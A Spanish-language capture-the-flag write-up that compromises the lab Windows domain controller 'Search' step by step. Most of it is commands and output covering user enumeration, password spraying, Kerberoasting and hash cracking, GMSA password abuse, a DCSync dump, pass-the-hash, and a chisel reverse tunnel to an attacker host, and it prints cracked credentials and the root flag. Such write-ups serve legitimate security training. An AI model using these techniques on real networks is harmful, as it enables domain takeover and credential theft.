Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 80
que corre un servicio http
❯ nmap 10.10.11.129
Nmap scan report for 10.10.11.129
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
8172/tcp open unknown
9389/tcp open adws
49667/tcp open unknown
49691/tcp open unknown
49692/tcp open unknown
49714/tcp open unknown
49726/tcp open unknown
Con crackmapexec
podemos obtener información de la maquina asi como el dominio
que es search.htb
ademas del nombre que parece es research
❯ crackmapexec smb 10.10.11.129
SMB 10.10.11.129 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
Para posibles proximos ataques o solo por comodidad agregaremos el dominio
al /etc/hosts
ademas el nombre
de la máquina que es el DC como otro dominio
❯ echo "10.10.11.129 search.htb research.search.htb" | sudo tee -a /etc/hosts
En la página principal encontramos una web
que no nos aporta demasiado
Fuzzeando un poco algunas rutas de posibles directorios con wfuzz
no vemos nada realmente interesante mas que un /staff
que devuelve un codigo de estado 403
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u https://search.htb/FUZZ --hc 404 -t 100
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://search.htb/FUZZ
Total requests: 26584
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 301 1 L 10 W 149 Ch "images"
000000009: 301 1 L 10 W 145 Ch "js"
000000015: 301 1 L 10 W 146 Ch "css"
000000267: 301 1 L 10 W 148 Ch "fonts"
000000352: 403 29 L 92 W 1233 Ch "staff"
Bajando un poco en la pagina
principal encontramos un apartado que muestra mediante un slide diferentes imagenes
y textos, algunos sobre Lorem Ipsum
Access - hope.sharp
Mirando a fondo una de las imagenes podemos encontrar un tipo de nota
donde se nos muestra una posible contraseña valida para el usuario Hope.Sharp
Antes necesitamos saber el nombre del usuario Hope Sharp
, asi que creamos un pequeño diccionario
con los posibles nombres de usuario que podrian existir
❯ cat users.txt
Hope
Sharp
HSharp
HopeSharp
H.Sharp
Hope.S
Hope.Sharp
Podemos usar kerbrute
para validar los usuarios en el archivo users.txt
, en este caso el usuario valido es Hope.Sharp
por lo que la sintaxis correcta es Name.Surname
❯ kerbrute userenum -d search.htb --dc research.search.htb users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> research.search.htb:88
> [+] VALID USERNAME: Hope.Sharp@search.htb
> Done! Tested 7 usernames (1 valid) in 0.171 seconds
Ahora que sabemos el usuario podemos probar la contraseña, esta es valida
, listando los recursos compartidos llama la atención el recurso RedirectedFolders$
❯ crackmapexec smb search.htb -u Hope.Sharp -p 'IsolationIsKey?'
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Hope.Sharp:IsolationIsKey?
❯ crackmapexec smb search.htb -u Hope.Sharp -p 'IsolationIsKey?' --shares
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Hope.Sharp:IsolationIsKey?
SMB search.htb 445 RESEARCH [+] Enumerated shares
SMB search.htb 445 RESEARCH Share Permissions Remark
SMB search.htb 445 RESEARCH ----- ----------- ------
SMB search.htb 445 RESEARCH ADMIN$ Remote Admin
SMB search.htb 445 RESEARCH C$ Default share
SMB search.htb 445 RESEARCH CertEnroll READ Active Directory Certificate Services share
SMB search.htb 445 RESEARCH helpdesk
SMB search.htb 445 RESEARCH IPC$ READ Remote IPC
SMB search.htb 445 RESEARCH NETLOGON READ Logon server share
SMB search.htb 445 RESEARCH RedirectedFolders$ READ,WRITE
SMB search.htb 445 RESEARCH SYSVOL READ Logon server share
Al conectarnos al recurso con smbclient
utilizando las credenciales de Hope.Sharp
podemos ver varios directorios los cuales son diferentes nombres de usuarios
❯ impacket-smbclient search.htb/Hope.Sharp:'IsolationIsKey?'@research.search.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use RedirectedFolders$
# ls
drw-rw-rw- 0 Tue Jun 27 22:02:32 2023 .
drw-rw-rw- 0 Tue Jun 27 22:02:32 2023 ..
drw-rw-rw- 0 Tue Apr 7 14:12:58 2020 abril.suarez
drw-rw-rw- 0 Fri Jul 31 09:11:32 2020 Angie.Duffy
drw-rw-rw- 0 Fri Jul 31 08:35:32 2020 Antony.Russo
drw-rw-rw- 0 Tue Apr 7 14:32:31 2020 belen.compton
drw-rw-rw- 0 Fri Jul 31 08:37:36 2020 Cameron.Melendez
drw-rw-rw- 0 Tue Apr 7 14:15:09 2020 chanel.bell
drw-rw-rw- 0 Fri Jul 31 09:09:07 2020 Claudia.Pugh
drw-rw-rw- 0 Fri Jul 31 08:02:04 2020 Cortez.Hickman
drw-rw-rw- 0 Tue Apr 7 14:20:08 2020 dax.santiago
drw-rw-rw- 0 Fri Jul 31 07:55:34 2020 Eddie.Stevens
drw-rw-rw- 0 Thu Apr 9 16:04:11 2020 edgar.jacobs
drw-rw-rw- 0 Fri Jul 31 08:39:50 2020 Edith.Walls
drw-rw-rw- 0 Tue Apr 7 14:23:13 2020 eve.galvan
drw-rw-rw- 0 Tue Apr 7 14:29:22 2020 frederick.cuevas
drw-rw-rw- 0 Thu Apr 9 10:34:41 2020 hope.sharp
drw-rw-rw- 0 Tue Apr 7 14:07:00 2020 jayla.roberts
drw-rw-rw- 0 Fri Jul 31 09:01:06 2020 Jordan.Gregory
drw-rw-rw- 0 Thu Apr 9 16:11:39 2020 payton.harmon
drw-rw-rw- 0 Fri Jul 31 07:44:32 2020 Reginald.Morton
drw-rw-rw- 0 Tue Apr 7 14:10:25 2020 santino.benjamin
drw-rw-rw- 0 Fri Jul 31 08:21:42 2020 Savanah.Velazquez
drw-rw-rw- 0 Wed Nov 17 20:01:45 2021 sierra.frye
drw-rw-rw- 0 Thu Apr 9 16:14:26 2020 trace.ryan
#
Access - web_svc
Para poder continuar enumeraremos con bloodhound
toda la posible información sobre el dominio autenticandonos como Hope.Sharp, esto nos creara un zip
con ella
❯ bloodhound-python -u Hope.Sharp -p 'IsolationIsKey?' -c All -d search.htb -dc search.htb -ns 10.10.11.129 --zip
INFO: Found AD domain: search.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: search.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 113 computers
INFO: Connecting to LDAP server: search.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 107 users
INFO: Found 64 groups
INFO: Found 6 gpos
INFO: Found 27 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Research.search.htb
INFO: Done in 01M 10S
INFO: Compressing output into 20230627221401_bloodhound.zip
Despues de subir el zip
que nos crea bloodhound
y listar los usuarios kerberoasteables
nos encontramos con web_svc
ademas del tipico krbtgt
Tenemos credenciales validas asi que con GetUserSPNs
podemos explotarlo y obtener un hash
correspondiente al servicio que corre el usuario web_svc
❯ impacket-GetUserSPNs search.htb/Hope.Sharp:'IsolationIsKey?' -request
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------- ------- -------- -------------------------- --------- ----------
RESEARCH/web_svc.search.htb:60001 web_svc 2020-04-09 08:59:11.329031 <never>
$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$cb8ef41e8071dd39f7d60ede0558eead$48cd26531a1f8fd5607272392160704993b52f428e75dd3a84f8df1a0e687b15214fadaa499628729ca02d6132bb37b05e37a5ffc0e77a34630afa25f2e8bfc74793c3ef93c2de79efb0d4e1fa003f6c7a47e3e18a6f52a93db7039c2fde7abc5db0fe2c69b65d1c93edbe4a52d8b2d799cac404d2e45fd319cf342f223b8f54f794fdd4b632bc39c695f9fceeb4166a1dc2f0b92bdd1e0a064951c729bab161a131af44389707622a3a126e2030c7f7bade0b97cea78012fd081d5a9ee3e25da65130612c94b2e1f96c7cccded7ba4dee2ae3236cdb47b905d68bf308deeaf20172458413637c3871ba03c006db3c36288cdde0156293bc48089b38febae9ef50f9b7713651501de5f4857b7b1a1cc88fdae0ae59f597572d033659ccc449fcf3ec087a4b1cb8e761a1f2db7a28d18ecaf8306c97be1ae9bd8b980790509bc127348ac8d97257d591085aae599f90294b0a93669493a99dcf35512d02dcd43d983116c27311496910e7d973852d8c4221ff8770321a224536528042754bf3732746c0c45eaf81d2ff8130fc58a2ee8e742ba23e1363a2979d35e111b6d23763c57243eda85aaa5f8c80e5d93395eff67dfc6d173563eaae8d2aa696e095c7d94b03aea071047feafcd649fe95d5e6aaf25ef6f2cc46f40cd4b60e23b180c8419ac9ca5df45e37ba1128d897e0c7cba4bca826f234809bd8f4ce0bddd3fd645cc3204cb42b98e9a71ea9a945354e2282d85ca9598e26c0bcc18d36a6724201ed9da04638c5cac0a9f5b6da3916bd5e727ad9a66d5a3adf56d9eab6db9f2db8db17e5df8606482db65b4a9cc793960eb8fd30baf9b145ecde4fad6eaebe524305bae36e52aa1c695ac38693a77db4e0f92f7a89330e0be4592e9f722f41f38770e03f7a61a014c14b5ed15bc54e350808ddb7133ec2fcd29178de8d42adbc29310a27e1c93a967754f67e928d85997dc64e2410bffea4e95725117a9d49d10a959b7261e2f046ef20dc76cadc321789e29e8b5c6c0791accfeef6e7c1f3ff869ac2836c3b96f7bdb73acc84d90ff406630d6520d326267f372b584abc3ed8daaea17ed4f227f73225ce387cd37c2ade4550b53fb8b661da511f1ea18572a600435dfca6ae73752163e0bac5ef1f1cf462e7272dd3ab17ae3236655d1d25c0edb88e1a20a30987aa5ca949f07a7148080da9f82486a6c9b790aa03e21ccb459a849086fc28506817e3f567d28f23374c605b674c9bd58e689052c12c5694c51671e880ec853a78f2988f0e7f61387aa95d3a85564890e46a0d3d821cf89615c349a89665d6aa8438a47d623693b0b69acb14b80e9a1e710b08ac1e807cc03df5d183ed88d3d5d909e9ce54e3e398bedee0ed9e437b60b66a2bd05f6764ac3e908665fdf1940ce819658ac18e0991d75898bfce3de217e1f6e7191005c00089971248e9f18359e0a099e9c25163e868110b635e4818b3
Al pasarle el hash a john
podemos crackearlo y obtener la contraseña de web_svc
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
@3ONEmillionbaby (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Podemos comprobarla con crackmapexec
pero esta credencial realmente no nos aporta nuevos privilegios
o archivos en los recursos smb
compartidos
❯ crackmapexec smb search.htb -u web_svc -p @3ONEmillionbaby
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\web_svc:@3ONEmillionbaby
Access - edgar.jacobs
Para crear un diccionario de todos los usuarios
del dominio podemos obtenerlos mediante rpc
y con expresiones regulares obtener obtener una lista, en total 105
❯ rpcclient -U 'web_svc%@3ONEmillionbaby' search.htb -c enumdomusers | grep -oP '\[\D*?\]' | tr -d '[]' > users.txt
❯ wc -l users.txt
105 users.txt
Con kerbrute
podemos probar autenticaciones para todos ellos reutilizando la contraseña del usuario web_svc
, el usuario Edgar.Jacobs
reutiliza la contraseña
❯ kerbrute passwordspray -d search.htb --dc research.search.htb users.txt @3ONEmillionbaby
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> research.search.htb:88
> [+] VALID LOGIN: Edgar.Jacobs@search.htb:@3ONEmillionbaby
> [+] VALID LOGIN: web_svc@search.htb:@3ONEmillionbaby
> Done! Tested 105 logins (2 successes) in 2.310 seconds
Comprobamos con crackmapexec
y tenemos los mismos privilegios en los recursos SMB
, podriamos probar si ahora hay algo interesante en RedirectedFolders$
❯ crackmapexec smb search.htb -u Edgar.Jacobs -p @3ONEmillionbaby
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Edgar.Jacobs:@3ONEmillionbaby
❯ crackmapexec smb search.htb -u Edgar.Jacobs -p @3ONEmillionbaby --shares
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Edgar.Jacobs:@3ONEmillionbaby
SMB search.htb 445 RESEARCH [+] Enumerated shares
SMB search.htb 445 RESEARCH Share Permissions Remark
SMB search.htb 445 RESEARCH ----- ----------- ------
SMB search.htb 445 RESEARCH ADMIN$ Remote Admin
SMB search.htb 445 RESEARCH C$ Default share
SMB search.htb 445 RESEARCH CertEnroll READ Active Directory Certificate Services share
SMB search.htb 445 RESEARCH helpdesk READ
SMB search.htb 445 RESEARCH IPC$ READ Remote IPC
SMB search.htb 445 RESEARCH NETLOGON READ Logon server share
SMB search.htb 445 RESEARCH RedirectedFolders$ READ,WRITE
SMB search.htb 445 RESEARCH SYSVOL READ Logon server share
Access - sierra.frye
Nos conectamos y en el directorio Desktop
del usuario Edgar.Jacobs
encontramos un archivo de extensión xlsx
que por el nombre parece ser de intentos de phishing
❯ impacket-smbclient search.htb/Edgar.Jacobs:@3ONEmillionbaby@research.search.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use RedirectedFolders$
# cd Edgar.Jacobs
# ls
drw-rw-rw- 0 Thu Apr 9 16:04:11 2020 .
drw-rw-rw- 0 Thu Apr 9 16:04:11 2020 ..
drw-rw-rw- 0 Mon Aug 10 06:02:16 2020 Desktop
drw-rw-rw- 0 Mon Aug 10 06:02:17 2020 Documents
drw-rw-rw- 0 Mon Aug 10 06:02:17 2020 Downloads
# cd Desktop
# ls
drw-rw-rw- 0 Mon Aug 10 06:02:16 2020 .
drw-rw-rw- 0 Mon Aug 10 06:02:16 2020 ..
drw-rw-rw- 0 Thu Apr 9 16:05:29 2020 $RECYCLE.BIN
-rw-rw-rw- 282 Mon Aug 10 06:02:16 2020 desktop.ini
-rw-rw-rw- 1450 Thu Apr 9 16:05:03 2020 Microsoft Edge.lnk
-rw-rw-rw- 23130 Mon Aug 10 06:30:05 2020 Phishing_Attempt.xlsx
# get Phishing_Attempt.xlsx
#
Al abrir el archivo xlsx con LibreOffice
podemos ver algunos nombres de usuarios, sin embargo no podemos ver la columna C
y abajo nos dice que esta protegido
La protección
usada en este caso es facil de bypassear, iniciamos unzipeando
el archivo xlsx para asi tener acceso a todos los archivos de configuración en xml
❯ unzip Phishing_Attempt.xlsx
Archive: Phishing_Attempt.xlsx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/sheet2.xml
inflating: xl/theme/theme1.xml
inflating: xl/styles.xml
inflating: xl/sharedStrings.xml
inflating: xl/drawings/drawing1.xml
inflating: xl/charts/chart1.xml
inflating: xl/charts/style1.xml
inflating: xl/charts/colors1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/worksheets/_rels/sheet2.xml.rels
inflating: xl/drawings/_rels/drawing1.xml.rels
inflating: xl/charts/_rels/chart1.xml.rels
inflating: xl/printerSettings/printerSettings1.bin
inflating: xl/printerSettings/printerSettings2.bin
inflating: xl/calcChain.xml
inflating: docProps/core.xml
inflating: docProps/app.xml
En el archivo xl/worksheets/sheet1.xml
encontramos la configuraciónd de la protección, para quitarla basta con eliminar la etiqueta sheetProtection
del xml
<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
Volvermos a comprimir
los archivos en un nuevo archivo con extensión xlsx
❯ zip new.xlsx -r *
adding: [Content_Types].xml (deflated 79%)
adding: docProps/ (stored 0%)
adding: docProps/app.xml (deflated 52%)
adding: docProps/core.xml (deflated 47%)
adding: _rels/ (stored 0%)
adding: _rels/.rels (deflated 60%)
adding: xl/ (stored 0%)
adding: xl/theme/ (stored 0%)
adding: xl/theme/theme1.xml (deflated 80%)
adding: xl/calcChain.xml (deflated 55%)
adding: xl/worksheets/ (stored 0%)
adding: xl/worksheets/_rels/ (stored 0%)
adding: xl/worksheets/_rels/sheet1.xml.rels (deflated 55%)
adding: xl/worksheets/_rels/sheet2.xml.rels (deflated 42%)
adding: xl/worksheets/sheet1.xml (deflated 79%)
adding: xl/worksheets/sheet2.xml (deflated 73%)
adding: xl/styles.xml (deflated 89%)
adding: xl/_rels/ (stored 0%)
adding: xl/_rels/workbook.xml.rels (deflated 74%)
adding: xl/printerSettings/ (stored 0%)
adding: xl/printerSettings/printerSettings2.bin (deflated 67%)
adding: xl/printerSettings/printerSettings1.bin (deflated 67%)
adding: xl/drawings/ (stored 0%)
adding: xl/drawings/_rels/ (stored 0%)
adding: xl/drawings/_rels/drawing1.xml.rels (deflated 39%)
adding: xl/drawings/drawing1.xml (deflated 58%)
adding: xl/charts/ (stored 0%)
adding: xl/charts/colors1.xml (deflated 73%)
adding: xl/charts/chart1.xml (deflated 77%)
adding: xl/charts/_rels/ (stored 0%)
adding: xl/charts/_rels/chart1.xml.rels (deflated 49%)
adding: xl/charts/style1.xml (deflated 90%)
adding: xl/sharedStrings.xml (deflated 55%)
adding: xl/workbook.xml (deflated 60%)
Al abrir el nuevo xlsx
ahora tenemos acceso a la columna C
la cual contiene la contraseña, tenemos una columna de usuarios
y una de posibles contraseñas
Creamos un archivo txt
de ambas columnas y al probar las credenciales
de cada linea conseguimos una autenticación valida, y esta es la del usuario Sierra.Frye
❯ crackmapexec smb search.htb -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [-] search.htb\Payton.Harmon:;;36!cried!INDIA!year!50;; STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Cortez.Hickman:..10-time-TALK-proud-66.. STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Bobby.Wolf:??47^before^WORLD^surprise^91?? STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Margaret.Robinson://51+mountain+DEAR+noise+83// STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Scarlett.Parks:++47|building|WARSAW|gave|60++ STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Eliezer.Jordan:!!05_goes_SEVEN_offer_83!! STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Hunter.Kirby:~~27%when%VILLAGE%full%00~~ STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18
SMB search.htb 445 RESEARCH [-] search.htb\Annabelle.Wells:==95~pass~QUIET~austria~77== STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Eve.Galvan://61!banker!FANCY!measure!25// STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Jeramiah.Fritz:??40:student:MAYOR:been:66?? STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Abby.Gonzalez:&&75:major:RADIO:state:93&& STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Joy.Costa:**30*venus*BALL*office*42** STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Vincent.Sutton:**24&moment&BRAZIL&members&66** STATUS_LOGON_FAILURE
Shell - sierra.frye
Al conectarnos al recurso RedirectedFolders$
como Sierra.Frye
en su carpeta home vemos el archivo user.txt
que es la primera flag
que podemos descargar
❯ impacket-smbclient search.htb/Sierra.Frye:'$$49=wide=STRAIGHT=jordan=28$$18'@research.search.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use RedirectedFolders$
# cd Sierra.Frye
# ls
drw-rw-rw- 0 Wed Nov 17 20:01:45 2021 .
drw-rw-rw- 0 Wed Nov 17 20:01:45 2021 ..
drw-rw-rw- 0 Wed Nov 17 20:08:17 2021 Desktop
drw-rw-rw- 0 Fri Jul 31 10:42:19 2020 Documents
drw-rw-rw- 0 Fri Jul 31 10:45:36 2020 Downloads
-rw-rw-rw- 33 Wed Nov 17 20:01:45 2021 user.txt
# get user.txt
# exit
❯ cat user.txt
7f5**************************401
Además de la flag en el directorio Backups
nos encontramos con certificados
# cd Downloads
# ls
drw-rw-rw- 0 Fri Jul 31 10:45:36 2020 .
drw-rw-rw- 0 Fri Jul 31 10:45:36 2020 ..
drw-rw-rw- 0 Thu Jul 30 13:25:57 2020 $RECYCLE.BIN
drw-rw-rw- 0 Mon Aug 10 16:39:17 2020 Backups
-rw-rw-rw- 282 Fri Jul 31 10:42:18 2020 desktop.ini
# cd Backups
# ls
drw-rw-rw- 0 Mon Aug 10 16:39:17 2020 .
drw-rw-rw- 0 Mon Aug 10 16:39:17 2020 ..
-rw-rw-rw- 2643 Fri Jul 31 11:04:11 2020 search-RESEARCH-CA.p12
-rw-rw-rw- 4326 Mon Aug 10 16:39:17 2020 staff.pfx
# mget *
[*] Downloading search-RESEARCH-CA.p12
[*] Downloading staff.pfx
#
Sin embargo estos estan protegidos
con contraseña, para conseguirla primero podemos generar un hash
para cada uno de ellos usando la herramienta pfx2john
❯ pfx2john search-RESEARCH-CA.p12 > hashes
❯ pfx2john staff.pfx >> hashes
Al crackear los hashes conseguimos la contraseña misspissy
para ambos archivos
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 XOP 4x2])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
misspissy (search-RESEARCH-CA.p12)
misspissy (staff.pfx)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Podemos importar los certificados
a Chrome o Firefox donde nos pedira la contraseña
con la que estan protegidos, que ya sabemos es misspissy
Esto nos permitirá acceder al recurso /staff
por https
que de antes nos devolvia un codigo 403 Forbidden
, al acceder a el nos preguntara que certificado
usar
El directorio /staff
es un Windows Powershell Web Access
el cual nos permite autenticarnos con credenciales
a un ordenador y obtener una powershell
Tenemos las credenciales de Sierra.Frye
a nivel de dominio y sabemos que el nombre del DC es Research
, asi que con esta información nos podemos autenticar
Al autenticarnos obtenemos una powershell
como el usuario Sierra.Frye
Shell - Administrator
Volviendo a bloodhound
vemos que Sierra.Frye
gracias a sus grupos tiene el privilegio ReadGMSAPassword
sobre BIR-ADFS-GMSA$
que tiene privilegios GenericAll
sobre el usuario Tristan.Davies
que esta en el grupo Domain Admins
Para explotarlo como Sierra.Frye
obtenemos la contraseña de BIR-ADFS-GMSA$
utilizando la propiedad msDS-ManagedPassword
y definimos su credencial
PS C:\Users\Sierra.Frye\Documents> $GMSA = (Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword').'msDS-ManagedPassword'
PS C:\Users\Sierra.Frye\Documents> $SecPassword = (ConvertFrom-ADManagedPasswordBlob $GMSA).SecureCurrentPassword
PS C:\Users\Sierra.Frye\Documents> $Cred = New-Object System.Management.Automation.PSCredential BIR-ADFS-GMSA, $SecPassword
PS C:\Users\Sierra.Frye\Documents>
Utilizando esta credencial
de powershell podemos ejecutar comandos como el usuario BIR-ADFS-GMSA$
en la máquina Research
que es el controlador de dominio
PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName Research -Credential $Cred -Command { whoami }
search\bir-adfs-gmsa$
PS C:\Users\Sierra.Frye\Documents>
Ya que este usuario tiene privilegios GenericAll
sobre el usuario Tristan.Davies
podemos simplemente cambiar su contraseña
usando el comando net
PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName Research -Credential $Cred -Command { net user Tristan.Davies password123# }
The command completed successfully.
PS C:\Users\Sierra.Frye\Documents>
Comprobamos los cambios con crackmapexec
y es valida, ya que es parte del grupo Domain Admins
nos devuelve Pwn3d!
que nos indica que tiene privilegios maximos
❯ crackmapexec smb search.htb -u Tristan.Davies -p password123#
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Tristan.Davies:password123# (Pwn3d!)
Ahora mediante un DCSync dumpearemos el ntds.dit
y nos interesa de manera especifica el hash NT
del usuario Administrator
para hacer un passthehash
❯ crackmapexec smb search.htb -u Tristan.Davies -p password123# --ntds drsuapi --user Administrator
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Tristan.Davies:password123# (Pwn3d!)
SMB search.htb 445 RESEARCH [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB search.htb 445 RESEARCH Administrator:500:aad3b435b51404eeaad3b435b51404ee:5e3c0abbe0b4163c5612afe25c69ced6:::
Ahora utilizando psexec
o wmiexec
para poder obtener una powershell
podemos autenticarnos utilizando el hash
y poder ejecutar comandos como Administrator
❯ impacket-wmiexec search.htb/Administrator@research.search.htb -hashes :5e3c0abbe0b4163c5612afe25c69ced6 -shell-type powershell
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
search\administrator
PS C:\> type C:\Users\Administrator\Desktop\root.txt
070a4fc417f6463e27d90f8216538441
PS C:\>
El servicio de winrm
no esta disponible desde fuera sin embargo ahora podemos crear un proxy
con chisel
y asi poder tener acceso a todos los puertos
internos
PS C:\> .\chisel client 10.10.14.10:9999 R:socks
❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Finalmente con proxychains
validamos que tengamos conexion por winrm
y nos conectamos como Administrator
con el hash a la máquina utilizando evil-winrm
❯ proxychains -q crackmapexec winrm search.htb -u Administrator -H 5e3c0abbe0b4163c5612afe25c69ced6
SMB search.htb 5985 RESEARCH [*] Windows 10.0 Build 17763 (name:RESEARCH) (domain:search.htb)
HTTP search.htb 5985 RESEARCH [*] http://search.htb:5985/wsman
WINRM search.htb 5985 RESEARCH [+] search.htb\Administrator:5e3c0abbe0b4163c5612afe25c69ced6 (Pwn3d!)
❯ proxychains -q evil-winrm -i search.htb -u Administrator -H 5e3c0abbe0b4163c5612afe25c69ced6
PS C:\Users\Administrator\Documents> whoami
search\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
070a4fc417f6463e27d90f8216538441
PS C:\Users\Administrator\Documents>